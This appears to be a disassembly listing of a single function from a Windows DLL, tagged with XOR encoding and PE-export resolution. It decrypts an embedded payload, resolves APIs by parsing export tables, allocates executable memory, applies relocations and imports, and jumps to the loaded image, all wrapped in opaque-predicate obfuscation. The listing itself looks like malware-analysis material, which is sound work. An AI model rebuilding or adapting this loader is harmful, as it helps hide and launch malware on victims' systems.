Function at 0x180001060
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
cmp dword [0x180020a6c], 0xa
jl 0x180001092
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001092
nop word [rax + rax]
jmp 0x180001090
mov dl, byte [section..data]
mov byte [rsp + 0x34], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800010e8
test eax, eax
je 0x1800010e8
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop dword [rax]
test bl, bl
je 0x1800010e0
mov byte [rsp + 0x34], dl
cmp ecx, 0xa
jl 0x1800010f5
test eax, eax
jne 0x180001220
mov dl, byte [0x180004001]
mov byte [rsp + 0x35], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x180001148
test eax, eax
je 0x180001148
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop
test bl, bl
je 0x180001140
mov byte [rsp + 0x35], dl
cmp ecx, 0xa
jl 0x180001155
test eax, eax
jne 0x180001220
mov dl, byte [0x180004002]
mov byte [rsp + 0x36], dl
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
cmp ecx, 0xa
jl 0x1800011a8
test eax, eax
je 0x1800011a8
mov ebp, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea eax, [rbp - 1]
imul eax, ebp
and eax, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
nop
test bl, bl
je 0x1800011a0
mov byte [rsp + 0x36], dl
cmp ecx, 0xa
jl 0x1800011b1
test eax, eax
jne 0x180001220
mov bl, byte [0x180004003]
mov byte [rsp + 0x37], bl
mov esi, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
cmp edi, 0xa
jl 0x180001208
test edx, edx
je 0x180001208
mov esi, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
sete al
cmp edi, 0xa
setl cl
or cl, al
nop dword [rax]
test cl, cl
je 0x180001200
mov byte [rsp + 0x37], bl
cmp edi, 0xa
jl 0x180001222
test edx, edx
je 0x180001222
nop word cs:[rax + rax]
nop dword [rax + rax]
jmp 0x180001220
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180020a78], 0xa
setl dl
or dl, al
cmp dl, 1
jne 0x180001290
mov r14d, dword [rsp + 0x34]
xor ebx, ebx
lea r12, section..data
nop word cs:[rax + rax]
nop dword [rax]
cmp r14, rbx
je 0x180001292
mov ecx, ebx
and ecx, 0x3ff
movzx ecx, byte [rcx + r12 + 4]
xor cl, byte [rbx + r12 + 0x404]
xor cl, 0xc
mov byte [rbx + r12 + 0x404], cl
add rbx, 1
test dl, dl
jne 0x180001260
nop
jmp 0x180001290
cmp edi, 0xa
jl 0x1800012b2
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
je 0x1800012b2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x1800012b0
lea r13, [r14 + r12]
add r13, 0x404
mov r9d, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea r10d, [r9 - 1]
imul r10d, r9d
and r10d, 1
sete r8b
cmp ecx, 0xa
setl bl
or bl, r8b
mov edx, dword [0x180020a74]
lea ebp, [rdx - 1]
imul ebp, edx
test bpl, 1
sete dl
cmp dword [0x180020a78], 0xa
setl r8b
or r8b, dl
cmp edi, 0xa
jl 0x180001318
lea edx, [rsi - 1]
imul edx, esi
and edx, 1
jne 0x180001460
mov al, byte [r13]
mov byte [rsp + 0x30], al
test bl, bl
jne 0x18000132c
test bl, bl
je 0x180001324
mov byte [rsp + 0x30], al
cmp ecx, 0xa
jl 0x18000133a
test r10d, r10d
jne 0x180001460
mov al, byte [r13 + 1]
mov byte [rsp + 0x31], al
test bl, bl
jne 0x18000134e
test bl, bl
je 0x180001346
mov byte [rsp + 0x31], al
cmp ecx, 0xa
jl 0x18000135c
test r10d, r10d
jne 0x180001460
mov al, byte [r13 + 2]
mov byte [rsp + 0x32], al
test bl, bl
jne 0x180001370
test bl, bl
je 0x180001368
mov byte [rsp + 0x32], al
cmp ecx, 0xa
jl 0x18000137e
test r10d, r10d
jne 0x180001460
mov al, byte [r13 + 3]
mov byte [rsp + 0x33], al
test bl, bl
jne 0x180001392
test bl, bl
je 0x18000138a
mov byte [rsp + 0x33], al
cmp ecx, 0xa
jl 0x1800013a0
test r10d, r10d
jne 0x180001460
test r8b, r8b
jne 0x180001482
cmp ecx, 0xa
jl 0x1800013b7
test r10d, r10d
jne 0x180001480
mov al, byte [r13]
mov byte [rsp + 0x30], al
test bl, bl
jne 0x1800013cb
test bl, bl
je 0x1800013c3
mov byte [rsp + 0x30], al
cmp ecx, 0xa
jl 0x1800013d9
test r10d, r10d
jne 0x180001470
mov al, byte [r13 + 1]
mov byte [rsp + 0x31], al
test bl, bl
jne 0x1800013ed
test bl, bl
je 0x1800013e5
mov byte [rsp + 0x31], al
cmp ecx, 0xa
jl 0x1800013f7
test r10d, r10d
jne 0x180001470
mov al, byte [r13 + 2]
mov byte [rsp + 0x32], al
test bl, bl
jne 0x18000140b
test bl, bl
je 0x180001403
mov byte [rsp + 0x32], al
cmp ecx, 0xa
jl 0x180001415
test r10d, r10d
jne 0x180001470
mov al, byte [r13 + 3]
mov byte [rsp + 0x33], al
test bl, bl
jne 0x180001429
test bl, bl
je 0x180001421
mov byte [rsp + 0x33], al
cmp ecx, 0xa
jl 0x180001433
test r10d, r10d
jne 0x180001470
mov edi, ecx
mov esi, r9d
cmp ecx, 0xa
jl 0x180001304
mov edi, ecx
mov esi, r9d
test r10d, r10d
je 0x180001304
jmp 0x1800012b0
jmp 0x180001460
jmp 0x180001470
jmp 0x180001480
add r13, 4
mov r9d, dword [rsp + 0x30]
test r9, r9
je 0x1800015e8
xor eax, eax
cmp r9d, 0x20
jb 0x1800015c3
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x1800015c3
lea rcx, [r14 + r12]
add rcx, 0x408
lea rdx, [r9 + r12]
add rdx, 4
cmp rcx, rdx
jae 0x1800014ea
lea rcx, [r9 + r14]
add rcx, r12
add rcx, 0x408
lea rdx, str.ZTxUJRbsInKLhKtZRAxglmPskjAJLActiPadKTtJgcVhRbaHQeyeJJjUlTiHXRwxHcYtGwLzKqaFuxrzYGdHHiEHGDLxJHsEnkIbZtBDgCMEHPDlbeWJJAbmOSHazCqbgEryvDTqUvMStraZagLtUehqPalYuAvWFkAfBpxiloAZrQCEgebkThmHcxgtyZwJrOLcVriHHLxyUTsWvdlyowMdkvaDPuoILjTqltYWxbRBRIEWjpIVnfMXhooMveZVYEhLFeBhJjRQBQHFXpdxyqXPDETvzULWXQnxOdhEIrBISpBEBkawDjjHYjAufBUTUsMYTTmFYWUUhhuBcVaaPkYiYATsvntYMxdCEdSFvaLcRPblqZwGRuwBFOaoBORbPcbTIelihuqcoGRyXKCetktDftQzIHyVyMrTTuIoaEpFZbukReCBKBJizWHhZYmeDWgSUqkhjPhQqOXuFPzvfLwlAKLKJPgDffuvblwaBUQCogqhklQbOGqQlmHAZEqxUbccCUijnzeaQpZfPYQxByjaVLVhEogZYhrZMdMCpWHoVZGYoSOIkZzAjDuEPpyUHgxtWVoESJfkEMyevrovEqufrVuGQXAbDPyfwEwUsAVysKxPIiTQBfFeAcDuWCWPCkRYflCAFQXHmsGeMLvMTvfUCzapwrGklHtcPRFmdlYfQJJaJhmAxoSBeAgHicfsyermtVkpaBEygGYHOkaJKjDeAznbVobuxGTqlXfDxpUQLBWmyxniaBeIbEisBjHcDlxSorjAKnpWoPkAHFAjmORdbFxWSQZhcublWxzHSRDBRHCTSdeQUjXClGhoOJCcPWtigDkCjjZedTUJvzLwsEjaDrGsjnEoboJMqbgvqGFXDhlbwkdPfluwpLLUXZYRmjdsZzmZEkwOCflWnLivGpFruwfXAJISJyWkEJfFIJSAitLEBptKVXctgPrvqMSdtpkRGJzjwbFAEzKnITCsXpXKAruCnWnLEtDeGFOkzsVUBZOLpeUtoVqHsTHuTwr
cmp rcx, rdx
jbe 0x1800014ea
xor eax, eax
jmp 0x1800015c3
mov eax, r9d
and eax, 0xffffffe0
lea rbp, [rax - 0x20]
mov rdx, rbp
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbp, rbp
je 0x180001585
lea rdi, [r14 + r12]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor ebp, ebp
mov edx, ebp
and edx, 0x3c0
movups xmm0, xmmword [rdx + r12 + 4]
movups xmm1, xmmword [rdx + r12 + 0x14]
movups xmm2, xmmword [rdi + rbp - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rbp - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rbp - 0x10]
movups xmm3, xmmword [rdi + rbp]
movups xmmword [rdi + rbp - 0x30], xmm2
movups xmmword [rdi + rbp - 0x20], xmm0
lea edx, [rbp + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r12 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r12 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rbp - 0x10], xmm0
movups xmmword [rdi + rbp], xmm1
add rbp, 0x40
add rbx, 2
jne 0x18000151e
jmp 0x180001587
xor ebp, ebp
test r8, r8
je 0x1800015be
mov edx, ebp
and edx, 0x3e0
movups xmm0, xmmword [rdx + r12 + 4]
movups xmm1, xmmword [rdx + r12 + 0x14]
movups xmm2, xmmword [r13 + rbp]
xorps xmm2, xmm0
movups xmm0, xmmword [r13 + rbp + 0x10]
xorps xmm0, xmm1
movups xmmword [r13 + rbp], xmm2
movups xmmword [r13 + rbp + 0x10], xmm0
cmp rax, r9
je 0x1800015e8
lea rdx, [r14 + r12]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r12 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x1800015ce
movsxd rax, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
jl 0x180001612
mov ecx, dword [0x180020a80]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001612
nop dword [rax]
jmp 0x180001610
lea rsi, [rax + r12]
add rsi, 0x404
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x18000161d
mov rbp, r13
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x18000162b
mov r15, rbp
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001638
mov qword [rsp + 0x58], r15
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001647
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001654
mov rdi, rbx
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001660
mov rcx, r13
call fcn.180002120
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001692
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001692
nop
jmp 0x180001690
mov qword [rsp + 0x38], rsi
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov esi, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800016c4
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800016c4
jmp 0x1800016c2
add rsi, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add r11, r9
mov edx, dword [r11]
add rdx, r9
mov rcx, rbp
movzx eax, byte [rcx]
movzx r8d, byte [rdx]
test al, al
je 0x1800016f8
add rcx, 1
add rdx, 1
cmp al, r8b
je 0x1800016e0
cmp al, r8b
je 0x180001707
add r11, 4
add r10, 2
jmp 0x1800016d7
movzx eax, word [r10]
mov eax, dword [rsi + rax*4]
add r9, rax
mov rcx, rbx
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001736
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001736
jmp 0x180001734
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001763
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001763
jmp 0x180001761
add r8, r10
mov r11d, dword [r10 + rax + 0x20]
mov r9d, dword [r10 + rax + 0x24]
add r9, r10
add r11, r10
mov eax, dword [r11]
add rax, r10
mov rbx, r15
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001795
add rbx, 1
add rax, 1
cmp cl, dl
je 0x18000177f
cmp cl, dl
je 0x1800017a3
add r11, 4
add r9, 2
jmp 0x180001776
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
mov rcx, r13
call fcn.180002120
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800017f8
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800017f8
jmp 0x1800017f6
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001825
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001825
jmp 0x180001823
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add r9, r10
add rdx, r10
lea rdi, [r14 + r12]
add rdi, 0x408
mov esi, dword [rdx]
add rsi, r10
xor eax, eax
movzx ebx, byte [rdi + rax]
movzx ecx, byte [rsi + rax]
test bl, bl
je 0x18000185e
add rax, 1
cmp bl, cl
je 0x18000184a
cmp bl, cl
je 0x18000186c
add rdx, 4
add r9, 2
jmp 0x180001843
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x38]
mov edx, dword [rax + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
mov r14, rax
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp edx, 0xa
jl 0x1800018b3
test ecx, ecx
je 0x1800018b3
jmp 0x1800018b1
mov rax, qword [rsp + 0x38]
lea r9, [rax + 0x108]
xor r8d, r8d
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 6]
cmp r8, rax
jae 0x180001a35
mov esi, dword [0x180020a70]
mov edi, dword [0x180020a6c]
cmp edx, 0xa
jl 0x1800018fe
test ecx, ecx
jne 0x1800019a9
jmp 0x1800018fe
add r8, 1
cmp edx, 0xa
jl 0x1800018c2
test ecx, ecx
je 0x1800018c2
jmp 0x1800018b1
cmp edi, 0xa
jl 0x180001912
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001a31
lea rax, [r8 + r8*4]
mov edx, dword [r9 + rax*8 + 0x10]
test rdx, rdx
je 0x180001983
mov ebx, dword [r9 + rax*8 + 0xc]
mov eax, dword [r9 + rax*8 + 0x14]
lea rcx, [rax + r12]
add rcx, 0x404
add rbx, r14
jmp 0x18000194b
add rdx, 0xffffffffffffffff
add rbx, 1
add rcx, 1
test rdx, rdx
je 0x180001983
movzx eax, byte [rcx]
mov byte [rbx], al
mov esi, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
cmp edi, 0xa
jl 0x180001975
test eax, eax
je 0x180001975
movzx eax, byte [rcx]
mov byte [rbx], al
jmp 0x18000194b
cmp edi, 0xa
jl 0x18000193a
test eax, eax
je 0x18000193a
jmp 0x180001a2f
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp edx, 0xa
jl 0x1800018ef
test ecx, ecx
je 0x1800018ef
cmp edi, 0xa
jl 0x1800019b9
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001a33
lea rax, [r8 + r8*4]
mov edx, dword [r9 + rax*8 + 0x10]
test rdx, rdx
je 0x1800018fe
mov ebx, dword [r9 + rax*8 + 0xc]
mov eax, dword [r9 + rax*8 + 0x14]
lea rcx, [rax + r12]
add rcx, 0x404
add rbx, r14
jmp 0x1800019fa
add rdx, 0xffffffffffffffff
add rbx, 1
add rcx, 1
test rdx, rdx
je 0x1800018fe
movzx eax, byte [rcx]
mov byte [rbx], al
mov esi, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
cmp edi, 0xa
jl 0x180001a24
test eax, eax
je 0x180001a24
movzx eax, byte [rcx]
mov byte [rbx], al
jmp 0x1800019fa
cmp edi, 0xa
jl 0x1800019e5
test eax, eax
je 0x1800019e5
jmp 0x180001a2d
jmp 0x180001a2f
jmp 0x180001a31
jmp 0x180001a33
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x30]
mov rax, r14
sub rax, rcx
cmp edx, 0xa
jl 0x180001a56
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
je 0x180001a56
jmp 0x180001a54
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rcx + 0xb0]
add rcx, r14
movabs r8, 0x1fffffff8
cmp dword [rcx], 0
je 0x180001cbf
mov edi, dword [rcx + 4]
cmp rdi, 8
jb 0x180001c85
cmp edx, 0xa
jl 0x180001a98
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
jne 0x180001cb5
add rdi, r8
shr rdi, 1
mov r9d, edi
xor r10d, r10d
cmp r10, r9
je 0x180001c85
movzx edi, word [rcx + r10*2 + 8]
mov esi, edi
shr esi, 0xc
mov r11d, edi
and r11d, 0xfff
cmp edi, 0xa000
jae 0x180001ba1
cmp esi, 3
jne 0x180001c5c
cmp edx, 0xa
jl 0x180001aeb
lea edx, [rbx - 1]
imul edx, ebx
and edx, 1
jne 0x180001cb9
mov edx, dword [rcx]
lea rdx, [r14 + rdx*4]
add dword [rdx + r11*4], eax
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001c5c
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
je 0x180001c5c
lea rdi, [r14 + r11*4]
cmp edx, 0xa
jl 0x180001b58
lea edx, [rbx - 1]
imul edx, ebx
and edx, 1
je 0x180001b58
mov edx, dword [rcx]
add dword [rdi + rdx*4], eax
mov edx, dword [rcx]
add dword [rdi + rdx*4], eax
cmp dword [0x180020a78], 0xa
jl 0x180001b58
mov edx, dword [0x180020a74]
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x180001b2d
jmp 0x180001b58
mov edx, dword [rcx]
add dword [rdi + rdx*4], eax
mov edx, dword [rcx]
add dword [rdi + rdx*4], eax
cmp dword [0x180020a78], 0xa
jl 0x180001b77
mov edx, dword [0x180020a74]
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
jne 0x180001b53
mov edx, dword [rcx]
add dword [rdi + rdx*4], eax
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001c5c
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
jne 0x180001b1d
jmp 0x180001c5c
cmp esi, 0xa
jne 0x180001c5c
cmp edx, 0xa
jl 0x180001bbe
lea edx, [rbx - 1]
imul edx, ebx
and edx, 1
jne 0x180001cbb
mov edx, dword [rcx]
mov edi, r11d
add rdi, r14
add qword [rdx + rdi], rax
jmp 0x180001bd2
mov edx, dword [rcx]
add qword [rdi + rdx], rax
mov ebx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001c5c
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
je 0x180001c5c
cmp edx, 0xa
jl 0x180001c02
lea edx, [rbx - 1]
imul edx, ebx
and edx, 1
jne 0x180001cb3
mov edx, dword [rcx]
add qword [rdi + rdx], rax
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001bcc
mov ebx, dword [0x180020a74]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
je 0x180001bcc
cmp edx, 0xa
jl 0x180001c34
lea edx, [rbx - 1]
imul edx, ebx
and edx, 1
jne 0x180001c54
mov edx, dword [rcx]
add qword [rdi + rdx], rax
cmp dword [0x180020a78], 0xa
jl 0x180001c02
mov edx, dword [0x180020a74]
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
je 0x180001c02
mov edx, dword [rcx]
add qword [rdi + rdx], rax
jmp 0x180001c34
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
cmp edx, 0xa
jl 0x180001c6e
test edi, edi
jne 0x180001cb7
add r10, 1
cmp edx, 0xa
jl 0x180001aa4
test edi, edi
je 0x180001aa4
jmp 0x180001cb5
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
cmp edx, 0xa
jl 0x180001c97
test edi, edi
jne 0x180001cbd
mov esi, dword [rcx + 4]
add rcx, rsi
cmp edx, 0xa
jl 0x180001a6e
test edi, edi
je 0x180001a6e
jmp 0x180001a54
jmp 0x180001cb3
jmp 0x180001cb5
jmp 0x180001cb7
jmp 0x180001cb9
jmp 0x180001cbb
jmp 0x180001cbd
cmp edx, 0xa
jl 0x180001cd1
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
je 0x180001cd1
jmp 0x180001ccf
lea rax, [r14 + 2]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x90]
add rax, r14
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov r15d, dword [rax + 0xc]
test r15, r15
je 0x1800020b8
add r15, r14
jmp 0x180001d14
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r15
call r9
mov rcx, r13
call fcn.180002120
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001d3d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020a4
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001d6c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800020a6
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rcx, r9
add rdx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, rbp
movzx ebx, byte [rsi]
movzx eax, byte [rdi]
test bl, bl
je 0x180001d9d
add rsi, 1
add rdi, 1
cmp bl, al
je 0x180001d87
cmp bl, al
je 0x180001dab
add rdx, 4
add rcx, 2
jmp 0x180001d7f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r15
call r9
mov qword [rsp + 0x50], rax
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001e81
test edx, edx
je 0x180001e81
mov rcx, r13
call fcn.180002120
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e0f
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020a8
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e3e
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800020aa
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rcx, r9
add rdx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, rbp
movzx ebx, byte [rsi]
movzx eax, byte [rdi]
test bl, bl
je 0x180001e6f
add rsi, 1
add rdi, 1
cmp bl, al
je 0x180001e59
cmp bl, al
je 0x180001d04
add rdx, 4
add rcx, 2
jmp 0x180001e51
cmp ecx, 0xa
jl 0x180001e8e
test edx, edx
jne 0x1800020b4
mov rbx, qword [rsp + 0x40]
mov edi, dword [rbx]
mov r12d, dword [rbx + 0x10]
add rdi, r14
mov qword [rsp + 0x48], rdi
add r12, r14
mov rbx, qword [rsp + 0x48]
mov rbx, qword [rbx]
test rbx, rbx
je 0x180002081
mov rax, qword [rsp + 0x60]
add rax, rbx
test rbx, rbx
movzx r15d, bx
cmovns r15, rax
cmp ecx, 0xa
jl 0x180001eef
test edx, edx
je 0x180001eef
jmp 0x1800020b6
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call r9
mov qword [r12], rax
mov rcx, r13
call fcn.180002120
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001f18
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020ac
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001f47
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800020ae
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rcx, r9
add rdx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rsp + 0x58]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180001f7a
add rsi, 1
add rdi, 1
cmp al, bl
je 0x180001f64
cmp al, bl
je 0x180001f88
add rdx, 4
add rcx, 2
jmp 0x180001f5a
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, qword [rsp + 0x50]
mov rdx, r15
call r9
mov qword [r12], rax
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002064
test edx, edx
je 0x180002064
mov rcx, r13
call fcn.180002120
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001ff0
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020b0
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000201f
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800020b2
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rcx, r9
add rdx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rsp + 0x58]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180002052
add rsi, 1
add rdi, 1
cmp al, bl
je 0x18000203c
cmp al, bl
je 0x180001ed6
add rdx, 4
add rcx, 2
jmp 0x180002032
add qword [rsp + 0x48], 8
add r12, 8
cmp ecx, 0xa
jl 0x180001ea4
test edx, edx
je 0x180001ea4
jmp 0x1800020b4
add qword [rsp + 0x40], 0x14
cmp ecx, 0xa
jl 0x180001ced
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001ced
jmp 0x180001ccf
jmp 0x1800020a4
jmp 0x1800020a6
jmp 0x1800020a8
jmp 0x1800020aa
jmp 0x1800020ac
jmp 0x1800020ae
jmp 0x1800020b0
jmp 0x1800020b2
jmp 0x1800020b4
jmp 0x1800020b6
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x28]
add rax, r14
call rax
cmp dword [0x180020a78], 0xa
jl 0x18000210e
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000210e
mov rsi, qword [rsp + 0x38]
mov eax, dword [rsi + 0x28]
add rax, r14
call rax
mov eax, dword [rsi + 0x28]
add rax, r14
call rax
cmp dword [0x180020a78], 0xa
jl 0x18000210e
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020e4
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret